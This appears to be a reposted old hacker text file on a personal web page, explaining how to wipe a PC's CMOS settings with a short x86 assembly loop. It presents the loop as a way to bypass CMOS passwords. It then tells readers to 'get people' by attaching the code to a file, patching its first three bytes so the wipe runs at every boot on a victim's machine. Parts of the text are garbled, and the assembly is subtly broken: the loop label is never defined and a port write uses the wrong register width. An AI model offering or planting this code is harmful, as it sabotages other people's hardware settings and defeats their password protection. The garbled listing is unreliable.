Friday, February 21, 2020 | Toby Opferman

Erasing CMOS

Toby Opferman

                  How To Erase CMOS

        There is something that your computer
checks for configurations of hardware and etc. every
time you boot up.  This is your CMOS.  When your computer
is running though, CMOS is not being checked.  You can
mess with CMOS all you want, change shit around or whatever
and it will not affect the current computer operatoins
since they are only checked at boot up.  BUT, next time
you boot up, your computer will now take on the new changes.

        One thing to do to a CMOS is to Erase it. This is
extremely simple:

        MOV CX, 0FFFFh  ; You only actually need 0FFh, but We will
                        ; Go a bit further =)
          MOV AX, CX           ; Get CMOS Register Number
          OUT 70h, AX          ; Out It To The Register Select Port
          XOR AX, AX           ; Send it Zero
          OUT 71h, AX          ; Send the Data to the Register
         LOOP SHORT CMOS_ERASE ; Next Register

 Now, next time you boot after you run this
your comptuer should go BEEP BEEP

   CMOS Error Press 

And you should be in CMOS screen and have to
reset your CMOS =)  This code will Also erase any CMOS
passwords set, so it is also useful to break into CMOSes.

(NOTE: While this is harmless, on one occasion it did
       destroy the bootsector on a harddrive of an Older
       386 Machine)

   A Good way to get people is to attach this code to the end of by:
   at the beginning of, and saving those 3 bytes and
put them back after you run that code so everytime you boot up
it would erase CMOS.  People will be wondering why they must
set CMOS every time they boot up.  They may even take it to the
shop or get a new CMOS battery =).
About Toby Opferman

Professional software engineer with over 15 years...

Learn more »
Codeproject Articles

Programming related articles...

Articles »

Resume »

Email: codeproject(at)opferman(dot)com